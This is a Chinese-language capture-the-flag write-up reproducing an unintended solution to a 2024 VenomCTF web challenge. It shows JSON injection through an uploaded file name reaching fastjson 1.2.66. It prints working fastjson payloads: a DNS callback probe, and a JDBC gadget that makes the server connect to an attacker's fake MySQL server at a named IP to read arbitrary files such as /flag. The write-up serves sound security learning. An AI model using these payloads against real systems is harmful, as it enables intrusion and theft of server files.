VCTF-archived elephant

vctf-archived elephant

官方wp:Venom-WP/2024VenomCTF/2024_vctf_web_archived-elephant/writeup/readme.md at main · ChaMd5Team/Venom-WP · GitHub

一道0day题目,挺好玩的,赛后复现一下。

由于预期解官方写的已经非常详细了,这里就复现了一下非预期解:

利用

这个漏洞的触发点其实挺简单的:

在com.baidu.ueditor.define.BaseState#toString,主要逻辑就是对map进行遍历,把keyvalue进行处理最终制作成JSON字符串形式。 其中keyvalue+进行拼接,如果keyvalue可控的话可能会导致json注入问题

我们可以正常上传一个文件看看:

我们的文件名会被拼接进去,然后在venom.elephantcms.service.impl.UploadServiceImpl处调用了JSON.parseObject

在pom.xml中我们可以看到这里引用了fastjson1.2.66的依赖。

很明显,如果outJsonString我们可控的话,就可以触发fastjson的链子

那么正如上面所说,com.baidu.ueditor.define.BaseState#toString会对map遍历,而文件名是我们自定义的,那么很明确了,这里是可控的。

我们本地调试一下,传入形如gxngxngxn",{"@type":"java.net.Inet4Address","val":"z0finq.dnslog.cn"},"a":".jpg

成功逃出恶意属性,接收到dns请求:

好了,现在我们就可以想办法利用fastjosn了

官方方法是利用fastjson common-io任意文件写来覆盖.btl文件打模板注入

这里我复现利用fastjson mysql来实现任意文件读取

我们看pom.xml中可以看到:

参考这篇文章:FastJson1.68&1.80版本反序列化利用 - FreeBuf网络安全行业门户

我们可以在自己的vps上伪造一个mysql服务,然后利用fastjson+mysql通过jdbc连接我们的服务,实现任意文件读取

首先利用:

GitHub - fnmsd/MySQL_Fake_Server: MySQL Fake Server use to help MySQL Client File Reading and JDBC Client Java Deserialize

在自己vps上启服务后,构造如下paylaod:

gxngxngxn",{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"81.70.252.29","portToConnectTo":1234,"databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"1234","allowUrlInLocalInfile":"true","allowLoadLocalInfile":"true","allowLoadLocalInfileInPath":"/","maxAllowedPacket":"655360","user":"fileread_/flag","PORT.1":"1234","HOST.1":"81.70.252.29","NUM_HOSTS":"1","HOST":"81.70.252.29","DBNAME":"test"},"a":".jpg

发送后成功读取到/flag文件:

posted @ 2024-03-18 21:21  gxngxngxn  阅读(108)  评论(2编辑  收藏  举报